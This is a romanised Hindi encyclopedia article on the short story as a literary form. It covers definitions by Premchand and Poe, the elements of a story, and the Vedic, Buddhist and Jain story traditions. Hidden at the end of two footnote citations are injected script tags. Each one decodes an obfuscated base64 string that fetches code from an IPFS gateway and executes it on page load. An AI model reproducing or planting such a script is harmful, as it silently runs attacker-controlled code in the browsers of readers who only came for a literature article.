कहानी
kahani
| |
| vivaran | 'kahani' gady lekhan ki ek vidha hai. yah gady katha sahity ka ek anyatam bhed tatha upanyas se bhi adhik lokapriy sahity ka roop hai. |
| vikas | 1910 se 1960 ke bich. |
| mahattvapoorn tattv | 'kathavastu', 'patr' athava 'charitr-chitran', 'kathopakathan' athava 'sanvad', 'deshakal' athava 'vatavaran', 'bhasha-shaili' tatha 'uddeshy'. |
| paribhasha | "kahani vah dhrupad ki tan hai, jisamean gayak mahaphil shuroo hote hi apani sanpoorn pratibha dikha deta hai, ek kshan mean chitt ko itane madhury se paripoorn kar deta hai, jitana rat bhar gana sunane se bhi nahian ho sakata." (premachand) |
| any janakari | yah kahana pramanik aur uchit hi hai ki bharat sansar ka pratham aur sarvashreshth kathapith raha hai. yah desh kahani ki janmabhoomi hai. vaidik katha sahity ke sath hi bharat bauddh aur jain kathaoan ka bhi adi desh hai. |
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kahani hindi sahity mean gady lekhan ki ek vidha hai. unnisavian sadi mean gady sahity mean ek nee vidha ka vikas hua, jise 'kahani' ke nam se jana gaya. bangala mean ise 'galp' kaha jata hai. kahani gady katha sahity ka ek anyatam bhed tatha upanyas se bhi adhik lokapriy sahity ka roop hai. manushy ke janm ke sath hi sath kahani ka bhi janm hua aur kahani kahana tatha sunana manav ka adim svabhav ban gaya. isi karan se pratyek sabhy tatha asabhy samaj mean kahaniyaan paee jati haian. hamare desh mean kahaniyoan ki b di lanbi aur sampann paranpara rahi hai. vedoan, upanishadoan mean varnit 'yam-yami', 'pururava-urvashi', 'saupanian-kadrav', 'sanatkumar-narad', 'gangavataran', 'shrriang', 'nahush', 'yayati', 'shakuntala', 'nal-damayanti' jaise akhyan kahani ke hi prachin roop haian. 1910 se 1960 ke bich hindi kahani ka vikas jitani gati ke sath hua, utani gati kisi any sahityik vidha ke vikas mean nahian dekhi jati. san 1900 se 1915 tak hindi kahani ke vikas ka pahala daur tha.
paribhasha
amerika ke kavi-alochak-kathakar 'edagar elin po' ke anusar kahani ki paribhasha is prakar paribhashit kiya ja sakata hai-
"kahani vah chhoti akhyanatmak rachana hai, jise ek baithak mean padha ja sake, jo pathak par ek samanvit prabhav utpann karane ke liye likhi gee ho, jisamean us prabhav ko utpann karane mean sahayak tatvoan ke atirikht aur kuchh n ho aur jo apane ap mean poorn ho."
- bharat ke upanyas samrat 'premachand' ne kahani ke pramukh lakshanoan ko batate hue usaki paribhasha ki hai. unhoanne likha hai
"kahani vah dhrupad ki tan hai, jisamean gayak mahaphil shuroo hote hi apani sanpoorn pratibha dikha deta hai, ek kshan mean chitt ko itane madhury se paripoorn kar deta hai, jitana rat bhar gana sunane se bhi nahian ho sakata."
hindi ke lekhakoan mean premachand pahale vyakti the, jinhoanne apane tin lekhoan mean kahani ke sambandh mean apane vichar vyakt kie- "kahani (galp) ek rachana hai, jisamean jivan ke kisi ek aang ya kisi ek manobhav ko pradarshit karana hi lekhak ka uddeshy rahata hai. usake charitr, usaki shaili, usaka katha-vinyas, sab usi ek bhav ko pusht karate haian. upanyas ki bhaanti usamean manav-jivan ka sanpoorn tatha brihat roop dikhane ka prayas nahian kiya jata. vah aisa ramaniy udyan nahian, jisamean bhaanti-bhaanti ke phool, bel-boote saje hue haian, balki ek gamala hai, jisamean ek hi paudhe ka madhury apane samunnat roop mean drishtigochar hota hai."
kahani ki aur bhi paribhashaean uddhrit ki ja sakati haian. par kisi bhi sahityik vidha ko vaijnanik paribhasha mean nahian baandha ja sakata, kyoanki sahity mean vijnan ki sunishchitata nahian hoti. isalie usaki jo bhi paribhasha di jaegi, vah adhoori hogi.
mahattvapoorn tattv
kahaniyoan mean nimnalikhit tattv mahattvapoorn mane ge haian-
- 'kathavastu'
- 'patr' athava 'charitr-chitran'
- 'kathopakathan' athava 'sanvad'
- 'deshakal' athava 'vatavaran'
- 'bhasha-shaili'
- 'uddeshy'
kahani ke dhaanche ko kathanak athava kathavastu kaha jata hai. pratyek kahani ke liye kathavastu ka hona anivary hai, kyoanki isake abhav mean kahani ki rachana ki kalpana bhi nahian ki ja sakati. kathanak ke char aang mane jate haian- 'arambh', 'aroh', 'charam sthiti' evan 'avaroh'.
sarvashreshth kathapith 'bharat'
yah kahana pramanik aur uchit hi hai ki bharat sansar ka pratham aur sarvashreshth kathapith raha hai. yah desh kahani ki janmabhoomi hai. vaise yah kahana anuchit nahian hoga ki vishv ki samast arvachin, lupt-vilupt aur prachinatam sabhyataoan ke niche se yadi kahaniyoan ke adhar stambh hata diye jaean to sari sabhyataean bharabharakar kachchi mitti ki tarah gir p deangi. sabhyataoan ke astitv aur unaki sanrachana ki pahachan ka ek mahattvapoorn srot bhi kahaniyaan hi haian. kahani ke bina b di se b di manav sabhyata ke itihas ke shubharambh ko nahian jana ja sakata. yahaan ki tak sansar ke adi granthoan ki sari sanrachana, kahaniyoan par hi tiki huee hai. vaidik sanhitaean (rrigved, yajurved, samaved aur atharvaved) vishv-sahity ke prachinatam granth haian. inake daur mean bhi kathaoan, kianvadantiyoan, mithak prasangoan aur akhyanoan ki kami nahian hai. pratyek vaidik devata kahani se hi janmata hai. vah kisi n kisi kahani ki hi den hai. sabhi sabhyataoan ka yah saty hai. vah chahe ameriki adivasiyoan ki ajatek-maya sabhyata rahi ho ya chin ki, misr ki, sumeri ya akkadi. bharatiy sabhyata to ved, brahman, puran, upanishad, mahabharat, ramayan adi ki asankhy kahaniyoan ka khajana hai, jisake dvara laukik aur alaukik jivan ke tathyoan aur satyoan ko roopayit kiya gaya. dharmagranthoan ke jitane bhi alaukik prasang ya vivaran haian, ve to kahani ke bina poore hi nahian ho pate, yahaan tak ki adhyatm aur darshan mean bhi katha drishtantoan ki mahattvapoorn upasthiti bani hi rahati hai.[1]
lok-kathapith
bharat mean aj bhi lok-kathapithoan ki kami nahian hai. yah lokakathaean hi sahity mean bhi pahuanchian, kyoanki kahaniyoan ka mool srot lokadharmi katha pratibha hi hai. vaidik katha sahity ke sath hi bharat bauddh aur jain kathaoan ka bhi adi desh hai. jatak kathaean to aj bhi shrilanka, kambodiya, myaanmar adi deshoan mean behad lokapriy haian aur bhagavan gautam buddh ke poorvajanmoan ke ve vivaran rat-ratabhar baithakar sune aur sunaye jate haian. yah ramakatha ki hi tarah ghar-ghar mean prachalit haian. isake alava jatak kathaoan ka yah khajana duniya bhar mean kahaniyoan ka sabase b da kosh hai. 'panchatantr' ki pashu-pakshi kathaean to sansar bhar mean bemisal haian hi. yah kahaniyaan matr lok smriti mean hi maujood nahian haian balki inake drishy saanchi aur bharahut adi ke bauddh stoopoan par bhi aankit haian. [[chitr:Mansarovar-Part-1.jpg|thumb|manasarovar, premachand ki kahaniyoan ka sankalan]]
vaidik kathaean
vaidik kathaean to bahut prachin haian hi. abhi tak puran-kathaoan, mahabharat aur ramayan ke rachana samay ka antim nirdharan nahian ho paya hai, par bauddh-kathaoan ka samay eesa ke janm se paanch sadi pahale se lekar eesa ke bad ki pahali aur doosari sadi tak phaila hua hai. mahavir svami aur gautam buddh samakalin haian. jain shraman sahity bhi kahaniyoan se aplavit hai, par jain-kalin prakrit bhasha ke katha granth surakshit nahian rahe, jabaki bauddhakalin pali bhasha ke dhamm aur katha granth aj bhi kaphi-kuchh surakshit haian. vaidik, bauddh aur jain kathaoan ka adan-pradan, len-den aur sanvardhan bhi chalata raha hai. bauddh vidvanh bhadant anand kausalyayan ne jatak granthoan ki jo tika likhi hai, usamean unhoanne likha hai ki "prachin bauddh kathaoan mean se kee ek kahaniyaan apane vikasit roop mean mahabharat aur ramayan mean milati haian." vaise kausalyayan ji ki sthapana ko vad-vivad ka vishay nahian banana chahie, par yah sahaj hi mana ja sakata hai ki kahaniyoan ka len-den lagatar jari raha hai. yah matr sanskrit, pali aur prakrit bhashaoan ke bich hi jari nahian raha hai, balki kshetriy aur janapadiy boliyoan aur bhashaoan mean to lok-kathaoan ka len-den jari tha.[1]
dharm prachar mean bhoomika
bauddh aur jain kathaoan ne dharm ke prachar mean b di bhoomika ada ki hai. yah kahaniyaan adhikaanshatah us samay ki haian, jab vaidik sanskrit ka lop ho raha tha. yah pali, prakrit aur apabhransh bhashaoan aur sahity ka uday kal tha. vaidik sanskrit laukik sanskrit mean paryavasit ho chuki thi aur brahmanavadi vaidik dharm ke prati jan-sadharan vitarag ho chuka tha ya ho raha tha. laukik sanskrit vikasit hoti pali aur prakrit ke samane nahian tik payi. vaidik samaj varnavadi brahmanoan ke hathoan mean chala gaya, atah usaki samajik sanrachana aur karyashreni vibhajan am janata ko ras nahian a raha tha. unake pauranik pravachan aur adhyatmik vimarsh logoan ke saansarik jivan aur usaki samasyaoan se virakt the. ary-adhyatmikata aur apane-apane para-jivan, eeshvar aur atma ke astitv ke prashn samaj ki samoohikata ko nakar kar vyakti ki niji vyaktivadita ko prashray de rahe the...varnavad ne jo shram-vibhajan ka siddhant pratipadit kiya tha, vah samaj mean shram karane aur jine ke adhikar ke niyamoan se adhik varn-vishesh ki varchasvata aur shreshthata ka pratipadan karata tha, atah jan-sadharan ki bahusankhya vaidik puran, janmagat samajik shoshan ke siddhant, pakhand aur purohitavad se oobakar brahmanavadi ary vyavastha ki virodhi ho rahi thi.
vaidik sanskrit ka avasan kal
sanskrit, jise dev aur daivi bhasha mana jata tha, vah logoan ke man se utar gayi thi. yah vaidik sanskrit ka avasan kal tha. is samay bolachal ki b di sashakt bhashaean pali, prakrit aur apabhransh panap rahi thian. lagabhag samast bauddh sahity aur bhikshuoan ke apasi vyavahar ki bhasha pali thi aur jain dharm aur shramanoan ki bhasha prakrit! yahi karan hai ki bharatiy katha kathan aur katha rachana ki bhasha bhi mukhyatah pali aur prakrit ho gayi. pali mean bauddhoan ka lagabhag samast sahity racha gaya aur prakrit mean jain tatha any sahity. bauddhoan ka pali mean likhit sahity ki tarah jain sampraday ka dharmik aur katha sahity prakrit mean likha gaya. isamean bhi kahaniyoan ka vipul bhandar hai. bauddh bhikshuoan ki tarah jain sadhu bhi apane dharm-prachar ke lie door-door deshoan mean bhraman karate the. unake lie yah avashyak bhi tha. dharmoan mean sanhitaoan aur dharmik adeshoan ke niyam maujood haian. jainiyoan ke aise hi ek granth ‘brihatkalpabhashy’ mean bataya gaya hai ki jain sadhu ko atmashuddhi ke lie tatha doosaroan ko dharm mean sthir karane ke lie lagatar janapad vihar karana chahie tatha janapad vihar karane vale sadhu ko magadh, malava, maharashtr, karnatak, gau d, dravi d, vidarbh adi deshoan ki bhasha mean janasadharan ko upadesh dena chahie. use desh-desh ke riti-rivajoan aur achar-vichar ka jnan hona chahie, jisase use hasyabhajan n banana p de. jahir hai ki in yatraoan se kshetriy boliyoan ka nishchay hi adan-pradan hua aur ek-ek kshetr ki lokoktiyoan aur lokakathaoan ki apasi samajikata bhi nishchay hi sthapit huee hogi.[1]
agam sahity
jain sahity ki prachinatam katha sampada 'agam sahity' ke nam se pahachani jati hai. yah kathaean paishachi-prakrit bhasha mean likhi gayian. pali, prakrit aur laukik sanskrit ke sammishran se banati apabhransh bhi tab maujood thi aur in bhashaoan ka janasadharan mean bahut prachalan tha. vaidik sanskrit janasadharan ki bhasha nahian rah gayi thi. svayan vaidik brahman rachana to vaidik sanskrit mean karate the, par unaki bolachal ki bhasha pali ya prakrit hi thi. vaidik sanskrit ko lekar janasadharan mean bhashayi aruchi utpann ho chuki thi. isaka ek drishtant marathi shodhakarta d aau. madhav muralidhar deshapande aur hindi vidvanh d aau. rajamal bora ne pesh kiya hai-
"ek rajapootr pe d ke niche baitha hua tha. us samay usane ek sambhashan[2] suna. vah ukt bhasha ke sambandh mean tark karane laga. pratham to vah kahata hai ki sambhashan sanskrit mean nahian hai, kyoanki sanskrit to atyant durbodh bhasha hai aur kathin bhi hai, durjanoan ke hriday sadrish kathor hai. yah sambhashan prakrit mean bhi nahian hai, kyoanki prakrit sajjanoan ke hriday ki tarah sukhad rahati hai aur usamean prakriti ka sundar varnan rahata hai aur prakrit shabd sanskrit jaise ek-doosare se sandhi se yukt nahian rahate. yah sambhashan apabhransh mean bhi nahian hai, kyoanki apabhransh mean shuddh-ashuddh sanskrit aur prakrit ka mishran rahata hai. vah to badh ane vale pani sadrish aniyantrit rahati hai kintu yah sambhashan to premi aur premika ki batoan ke sadrish sundar hai. ye sambhashan in tinoan prakar ki bhashaoan mean thik se baithata nahian isalie ise paishachi kahana adhik thik hoga. rajapootr ka nirnay tha ki yah sambhashan paishachi mean hoga."
yadi bharatiy prakrit ko paishachi man liya jae to paishachi ka bhaugolik vistar chini turkistan tak manana p data hai. doosari or sindhu nadi ke tat tak to usaka vistar tha hi. sindhu nadi ke poorv mean jamuna tak shauraseni ka vistar tha. is tarah paishachi, shauraseni ka sanskar prapt kar rahi thi. u disa ke vidvanh bhashavidh markandey ke anusar paishachi ke tin pradhan bhed batalae gaye haian, unamean kaikey ke bad doosara bhed shauraseni paishachi ka hai. tisara bhed paanchal paishachi ka hai. paishachi ko sanskrit hi nahian, prakritoan ke roopoan se sambaddh manane ka prayatn vyakaran-granthoan mean kyoan hue, isake karan bhasha-samudayoan ke apasi sambandhoan mean khojane hoange. eesa ki athavian sadi mean jain sahityakar udyotan soori ne ‘kuvalayamala’ granth mean prakrit ki katha di hai. us katha ka sankshipt vivaran d aau. madhav muralidhar deshapande ne ‘sanskrit ani prakrit bhasha’ (marathi granth) mean diya hai. usamean ek katha sankalit hai, jisamean paishachi ka vishad ullekh hai. vishesh dhyan dene ki bat yah hai ki paishachi ko any bhashaoan se alag batalaya gaya hai. gunadhy ki paishachi ko isi tarah alag mana gaya hai. prakritoan mean usaki ganana nahian hai.[1]
prakrit ke roopoan ka jaisa samman hua hai, vah samman bhi paishachi ko nahian mila. peshavar, chini turkistan, eeran mean jo samman paishachi ko mila, vah samman paishachi ko bharat mean nahian mila. vishesh roop se gunadhy ke kal mean use samman nahian mila. bad mean vidvanh bhool gaye ki paishachi kaikey ki bhasha hai. ve use vindhyachal ke pas ki bhasha manane lage. pishach bhasha kahane lage. rajashekhar ne to use ‘bhoot-bhasha’ kah diya hai. yah sab kyoan hua? jis paishachi bhasha ke madhyam se bauddh aur jain dharm ka vistar madhy eshiya ke deshoan evan bhasha mean hua, us bhasha ko bharat mean anadekha kar diya gaya.
upanyas aur kahani
kahani akar mean upanyas se chhoti hoti hai, lekin akar mean chhota hona bhar kahani ko kahani nahian bana sakata. upanyas ka koee adhyay kahani nahian ho sakata aur n kahani upanyas ka koee adhyay. at: kahani upanyas ki jati ki hote hue bhi svatantr vidha hai. usake chhote hone ke karan lekhak ki prerana aur grahan ki gee jivan ki samagri mean nihit sanbhavana hoti hai. upanyas mean jahaan jivan ki sampoornata lekhak ka sarokar hai vahaan kahani mean koee ek bhav, ghatana ya charitr ka koee ek marmik prasang ka varnan hota hai. upanyas ki tarah jivan ke vibhinn prasangoan ko kholate-gooanthate hue vistar karane ki svatantrata kahani mean nahian hoti. kahani ki moolabhoot visheshata ko premachand ne bataya hai. unaka kahana hai ki-
jab tak ve kisi ghatana ya charitr mean koee dramaee pahaloo nahian pahachan lete tab tak kahani nahian likhate.[3]
| bharatakosh par upalabdh kahaniyaan | |||
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 katha sanskriti (hindi) archiv tude. abhigaman tithi: 08 navambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ apas ki batachit
- ↑ upanyas aur kahani (hiandi) sahityalochan. abhigaman tithi: 25 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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